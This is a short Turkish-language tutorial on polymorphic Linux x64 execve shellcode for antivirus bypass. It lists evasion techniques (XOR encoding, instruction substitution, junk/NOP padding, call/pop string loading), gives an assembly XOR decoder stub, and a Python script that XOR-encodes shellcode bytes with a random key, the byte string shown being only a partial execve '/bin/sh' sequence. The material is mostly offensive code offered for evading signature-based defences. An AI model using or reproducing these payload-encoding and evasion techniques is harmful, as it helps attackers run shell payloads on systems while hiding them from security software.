Modern Shellcode - Polimorfik - AV Bypass

Linux/x64 Polymorphic execve Shellcode - 40 Bytes

Polimorfik shellcode, her calistirmada farkli byte dizisi uretir ancak islevi ayni kalir. Imza tabanli AV sistemleri sabit byte dizisi arar; polimorfizm bu mantigi kirar.

Polimorfizm Teknikleri

Teknik 1 - XOR Sifreleme: Shellcode XOR ile sifrelenir, basa cozucu kod eklenir. Her calistirmada XOR key degisebilir. Teknik 2 - Instruction Substitution: mov eax, 0 xor eax, eax (ayni sonuc) add eax, 1 inc eax (ayni sonuc) Teknik 3 - NOP Slide + Junk: Islevsiz NOP komutlari arasina asil kod gizlenir. Teknik 4 - Call/Pop String Loading: call sonraki_satir db '/bin/sh',0 sonraki_satir: pop rdi

XOR Decoder Stub x64

; key = 0xAA decoder: lea rsi, [rel encoded] mov rcx, payload_len decode_loop: xor byte [rsi], 0xAA inc rsi loop decode_loop jmp encoded encoded: ; XOR-encoded shellcode buraya

Python ile Sifreleme

import os sc = b"\x48\x31\xff\x57\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68" key = os.urandom(1)[0] enc = bytes([b ^ key for b in sc]) print(f"Key: 0x{key:02x}") print(f"Encoded: {''.join(f'\\x{b:02x}' for b in enc)}")